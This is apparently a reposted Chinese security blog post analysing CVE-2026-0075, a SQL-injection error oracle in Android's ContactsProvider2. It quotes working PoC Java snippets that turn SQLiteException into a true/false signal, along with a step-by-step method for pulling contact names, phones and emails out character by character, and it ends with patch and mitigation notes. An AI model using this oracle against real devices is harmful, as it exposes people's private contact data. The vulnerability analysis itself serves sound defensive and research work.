文章总结: CVE-2026-0075是Android通讯录ContactsProvider2的本地信息泄露与SQL注入侧信道漏洞,影响安卓14至16版本。漏洞源于查询条件未参数化,攻击者可在未声明READ_CONTACTS权限的情况下,通过SQLiteException错误反馈逐字符提取通讯录数据。官方已于2026年6月5日发布安全补丁,建议用户立即更新系统并避免向不信任应用授予通讯录数据URI读授权。 综合评分: 85 文章分类: 漏洞分析,漏洞预警,漏洞POC,安全大事件
【漏洞告警】安卓 14 到 16 全中招,通讯录 SQL 注入漏洞正在抄家(POC已公开)
YGnight YGnight
night安全
2026年8月16日 23:36 四川
在小说阅读器读本章
去阅读
一、漏洞描述
CVE-2026-0075 是 Android 通讯录提供方 ContactsProvider2 的本地漏洞,近期POC已经被公开了,通过对poc的分析简单写了这篇文章。
| | |
| — | — |
| CVE 编号 | CVE-2026-0075 |
| 漏洞类型 | 本地信息泄露,SQL 注入侧信道 |
| 影响组件 | Android ContactsProvider2 |
| 受影响版本 | Android 14、15、16、16-qpr2 |
| 修复 | 2026-06-05 补丁级别;AOSP commit bb9f36b3ff6d42136afb61d527e1e8f67242fe32 |
| 官方评级 | High,Android 安全公告 |
| 攻击前提 | 获得通讯录 data/
CVE-2026-0075漏洞是本地信息泄露,利用之前需要先获得通讯录数据 URI 的读授权,PoC 仅用于受控环境,结果与设备构建及补丁级别相关,不构成任意应用直接读取通讯录的通用条件。
二、漏洞原理
漏洞产生的真正原因是查询条件未参数化导致错误反馈。 ContactsProvider2 将调用字符传入的 selection 拼入自身 SQL 执行,权限检查仅覆盖应用直接查询,SQL 内嵌子查询可访问 data、mimetypes 等底层表。未声明 READ_CONTACTS 的调用方通过以下方式获得判定反馈。
以下贴上PoC的部分关键代码:
private static String oracleSelection(String predicate) {
return "(CASE WHEN (" + predicate + ") THEN json_extract(char(123), char(36)) ELSE 1 END)";
}
char(123) 为 ‘{‘,char(36) 为 ‘$’。条件为真时执行 json_extract(‘{‘,’$’),JSON 解析失败抛出 SQLiteException;条件为假时返回 1,查询正常。判定逻辑:
private boolean rawOraclePredicate(String predicate) {
try {
cursor = getContentResolver().query(grantedDataUri,
new String[] {"_id"}, oracleSelection(predicate), null, "_id ASC");
cursor.getCount();
return false; // 未抛异常,条件为假
} catch (android.database.sqlite.SQLiteException e) {
return true; // 抛出异常,条件为真
}
}
查询条件里用子查询直接访问通讯录底层表,示例:
(SELECT d.data1 FROM data d WHERE d._id=5)
data1 为通讯录数据正文,姓名、电话、邮箱均存储于 data 表。抽取流程分四步:
- 以 max(_id) 二分确定 data 表行号上限。
- 以 EXISTS 子查询枚举行号。
- 以 unicode(substr(…)) 将字符码点逐位二分,逐字符还原字段内容。
- 按 raw_contact_id 归组,重建联系人记录。
三、修复建议
官方已经在2260605发布安全补丁 。AOSP commit bb9f36b3ff6d42136afb61d527e1e8f67242fe32,标题 Fix side channel attacks in CP2:对未声明 READ_CONTACTS 的调用方去除 JSON 相关 SQLiteException 错误细节,并把查询结果真正取出来的环节挪进异常处理路径。
避免向不信任应用传递 content:// 读授权;系统与 ROM 厂商跟进 ContactsProvider2 修复。
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:night安全 YGnight YGnight《【漏洞告警】安卓 14 到 16 全中招,通讯录 SQL 注入漏洞正在抄家(POC已公开)》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。










评论